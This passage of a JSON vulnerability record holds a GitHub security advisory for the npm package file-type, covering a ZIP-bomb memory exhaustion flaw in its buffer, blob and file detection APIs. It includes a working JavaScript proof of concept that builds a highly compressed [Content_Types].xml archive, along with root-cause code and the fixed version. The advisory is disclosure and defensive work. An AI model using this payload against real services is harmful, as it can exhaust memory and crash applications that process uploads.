As a result, a small compressed ZIP can cause `file-type` to inflate and process a much larger payload while probing ZIP-based formats such as OOXML. In testing on `file-type` `21.3.1`, a ZIP of about `255 KB` caused about `257 MB` of RSS growth during `fileTypeFromBuffer()`.\n\nThis is an availability issue. Applications that use these APIs on untrusted uploads can be forced to consume large amounts of memory and may become slow or crash.\n\n## Root Cause\n\nThe ZIP detection logic applied different limits depending on whether the tokenizer had a known file size.\n\nFor stream inputs, ZIP probing was bounded by `maximumZipEntrySizeInBytes` (`1 MiB`). For known-size inputs such as buffers, blobs, and files, the code instead used `Number.MAX_SAFE_INTEGER` in two relevant places:\n\n```js\nconst maximumContentTypesEntrySize = hasUnknownFileSize(tokenizer)\n\t? maximumZipEntrySizeInBytes\n\t: Number.MAX_SAFE_INTEGER;\n```\n\nand:\n\n```js\nconst maximumLength = hasUnknownFileSize(this.tokenizer)\n\t? maximumZipEntrySizeInBytes\n\t: Number.MAX_SAFE_INTEGER;\n```\n\nTogether, these checks allowed a crafted ZIP to bypass the intended inflate limit for known-size APIs and force large decompression during detection of entries such as `[Content_Types].xml`.\n\n## Proof of Concept\n\n```js\nimport {fileTypeFromBuffer} from 'file-type';\nimport archiver from 'archiver';\nimport {Writable} from 'node:stream';\n\nasync function createZipBomb(sizeInMegabytes) {\n\treturn new Promise((resolve, reject) => {\n\t\tconst chunks = [];\n\t\tconst writable = new Writable({\n\t\t\twrite(chunk, encoding, callback) {\n\t\t\t\tchunks.push(chunk);\n\t\t\t\tcallback();\n\t\t\t},\n\t\t});\n\n\t\tconst archive = archiver('zip', {zlib: {level: 9}});\n\t\tarchive.pipe(writable);\n\t\twritable.on('finish', () => {\n\t\t\tresolve(Buffer.concat(chunks));\n\t\t});\n\t\tarchive.on('error', reject);\n\n\t\tconst xmlPrefix = '<?xml version=\"1.0\"?><Types xmlns=\"http://schemas.openxmlformats.org/package/2006/content-types\">';\n\t\tconst padding = Buffer.alloc(sizeInMegabytes * 1024 * 1024 - xmlPrefix.length, 0x20);\n\t\tarchive.append(Buffer.concat([Buffer.from(xmlPrefix), padding]), {name: '[Content_Types].xml'});\n\t\tarchive.finalize();\n\t});\n}\n\nconst zip = await createZipBomb(256);\nconsole.log('ZIP size (KB):', (zip.length / 1024).toFixed(0));\n\nconst before = process.memoryUsage().rss;\nawait fileTypeFromBuffer(zip);\nconst after = process.memoryUsage().rss;\n\nconsole.log('RSS growth (MB):', ((after - before) / 1024 / 1024).toFixed(0));\n```\n\nObserved on `file-type` `21.3.1`:\n- ZIP size: about `255 KB`\n- RSS growth during detection: about `257 MB`\n\n## Affected APIs\n\nAffected:\n- `fileTypeFromBuffer()`\n- `fileTypeFromBlob()`\n- `fileTypeFromFile()`\n\nNot affected:\n- `fileTypeFromStream()`, which already enforced the ZIP inflate limit for unknown-size inputs\n\n## Impact\n\nApplications that inspect untrusted uploads with `fileTypeFromBuffer()`, `fileTypeFromBlob()`, or `fileTypeFromFile()` can be forced to consume excessive memory during ZIP-based type detection. This can degrade service or lead to process termination in memory-constrained environments.\n\n## Cause\n\nThe issue was introduced in 399b0f1","state":0,"publishedAt":"2026-03-13T20:56:05+00:00","modifiedAt":"2026-09-10T03:50:39.7419747+00:00","affected":[{"ecosystem":"npm","name":"file-type","ranges":[{"type":"SEMVER","events":[{"kind":"introduced","version":"20.0.0"},{"kind":"fixed","version":"21.3.2"}]}],"versions":[],"rawVersionEvidence":null}],"metrics":[{"system":"CVSS_V3","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L","score":null,"severity":null},{"system":"Publisher rating","vector":null,"score":null,"severity":"MODERATE"}],"references":["https://github.com/sindresorhus/file-type/security/advisories/GHSA-j47w-4g3g-c36v","https://nvd.nist.gov/vuln/detail/CVE-2026-32630","https://github.com/sindresorhus/file-type/commit/399b0f156063f5aeb1c124a7fd61028f3ea7c124","https://github.com/sindresorhus/file-type/commit/a155cd71323279de173c54e8c530d300d3854fdd","https://github.com/sindresorhus/file-type","https://github.com/sindresorhus/file-type/releases/tag/v21.3.2"],"sourceUrl":"https://github.com/advisories/GHSA-j47w-4g3g-c36v","license":"GitHub Advisory Database · CC-BY-4.0","key":"osv:GHSA-j47w-4g3g-c36v","identifiers":["GHSA-j47w-4g3g-c36v","CVE-2026-32630"]},"retained":false,"historicalAffected":[]}],"coverage":[{"source":"cisa-kev:global","scope":"Complete CISA KEV catalog; all vendors.
